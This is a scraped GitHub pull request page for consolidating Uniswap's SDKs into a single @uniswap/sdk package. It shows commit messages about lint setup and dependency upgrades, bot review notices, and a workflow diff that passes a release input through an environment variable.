- Add .eslintrc.cjs with TypeScript and Prettier support - Add @typescript-eslint/eslint-plugin and @typescript-eslint/parser deps - Upgrade eslint-plugin-prettier to v5 for Prettier v3 compatibility - Add lint:fix script for auto-fixing lint issues - Fix all lint errors across the codebase (mostly formatting) 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

- Upgrade typescript-eslint dependencies to v8.38.0 for consistency - Upgrade eslint-plugin-prettier to v5.0.0 for Prettier v3 compatibility - Add caughtErrorsIgnorePattern to handle unused catch variables - Disable no-unused-expressions and no-empty-object-type rules - Fix unused error variable in validateAndParseAddress.ts - Make network-dependent SignatureProvider tests conditional on FORK_URL 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

marktoda force-pushed the single-package-migration branch from c705196 to fd131c1 Compare January 8, 2026 16:56

semgrep-code-uniswap bot reviewed Jan 8, 2026

View reviewed changes

.github/workflows/compat-packages-release.yaml Outdated Show resolved Hide resolved

marktoda changed the title ~~Single package migration~~ feat(all): Single package migration Jan 8, 2026

marktoda added 2 commits January 8, 2026 21:56

fix: cleanup

91dd2f4

marktoda force-pushed the single-package-migration branch from fd131c1 to 91dd2f4 Compare January 9, 2026 03:28

Developer and others added 3 commits January 9, 2026 20:01

chore(sdk): update REACTOR_ADDRESS_MAPPING snapshot

c34b24c

Update inline snapshot to reflect new reactor addresses added in main. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

github-actions bot changed the title ~~feat(all): Single package migration~~ feat(sdk): consolidate all SDKs into unified @uniswap/sdk package Jan 9, 2026

marktoda and others added 3 commits January 9, 2026 16:33

Merge branch 'main' into single-package-migration

31d407e

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Comments

feat(sdk): consolidate all SDKs into unified @uniswap/sdk package#484

feat(sdk): consolidate all SDKs into unified @uniswap/sdk package#484
marktoda wants to merge 9 commits intomainfrom
single-package-migration

marktoda commented Jan 8, 2026 •

edited by github-actions bot

Loading

Uh oh!

github-actions bot commented Jan 8, 2026

Uh oh!

semgrep-code-uniswap bot Jan 8, 2026

Uh oh!

Uh oh!

socket-security bot commented Jan 8, 2026 •

edited

Loading

Uh oh!

socket-security bot commented Jan 8, 2026 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

-        run: npm version ${{ github.event.inputs.version_bump }} --no-git-tag-version
+      env:
+        VERSION_BUMP: ${{ github.event.inputs.version_bump }}
+      run: npm version "$VERSION_BUMP" --no-git-tag-version

Comments

Conversation

marktoda commented Jan 8, 2026 • edited by github-actions bot Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

✨ Claude-Generated Content

PR Scope

Description

Changes

How Has This Been Tested?

Are there any breaking changes?

(Optional) Feedback Focus

(Optional) Follow Ups

Uh oh!

github-actions bot commented Jan 8, 2026

🤖 Claude PR Metadata Generation

⚠️ Generation Failed

Uh oh!

semgrep-code-uniswap bot Jan 8, 2026

Choose a reason for hiding this comment

Uh oh!

Uh oh!

socket-security bot commented Jan 8, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

socket-security bot commented Jan 8, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

marktoda commented Jan 8, 2026 •

edited by github-actions bot

Loading

socket-security bot commented Jan 8, 2026 •

edited

Loading

socket-security bot commented Jan 8, 2026 •

edited

Loading